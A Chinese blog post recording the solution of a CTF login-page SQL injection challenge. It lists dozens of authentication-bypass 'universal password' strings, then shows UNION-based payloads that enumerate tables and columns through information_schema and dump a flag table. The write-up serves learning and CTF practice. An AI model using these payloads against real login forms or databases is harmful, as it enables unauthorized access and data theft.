登陆页面的Sql注入

自己手工注入的知识比较薄弱,这里就记录一下注入过程

题目:

1.登陆页面,使用sql万能密码可以登陆账号,但是flag不会自己跳出来,出题人是想让我们手工注入

常用万能密码:

'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

 

例子:

select name,pass from Admin where name='admin' and pass='123456'

使用' or 1=1#之后:

select name,pass from Admin where name='' or 1=1 #' and pass='123456'

这里的name单引号被闭合了,后面的or 1=1使得返回结果永远为真,而#号会将多余的东西注释掉,--+号也是同样的用法

 

 

2.猜字段,常用order by或者使用length(' or 1=1 length(database())=1#)

从1开始猜,如果所猜字段小于题目字段,返回正常;否则返回失败

猜到4的时候不再返回“欢迎你,ctfshow”,说明题目的字段是3

 

3.联合查询,查询表名

这里用不用limit都无所谓,顺便提一下:

select * from table limit 2,1;
//跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据

1 ' or 1=1 union select 1,table_name,3 from information_schema.tables#

查询到的所有表名:

注意到最后有一个叫做flag的表名,flag就在里面

 

4.联合查询,查询列名

' or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#

结果:

表flag里面只有一个列,名字也叫flag

 

5.直接获取flag

' or 1=1 union select 1,flag,3 from flag#

flag到手了

 

 

附(其他师傅的解题方法):个人觉得不用那么复杂

 

参考资料:

https://infsunset.github.io/2019/07/12/CTF%E7%AE%80%E5%8D%95%E7%9A%84SQL%E6%B3%A8%E5%85%A5%E6%80%9D%E8%B7%AF/

https://www.muzide.com/73.html

https://www.gaojiufeng.cn/?id=118

posted @ 2020-02-12 20:58  ch0bits  阅读(10310)  评论(0编辑  收藏  举报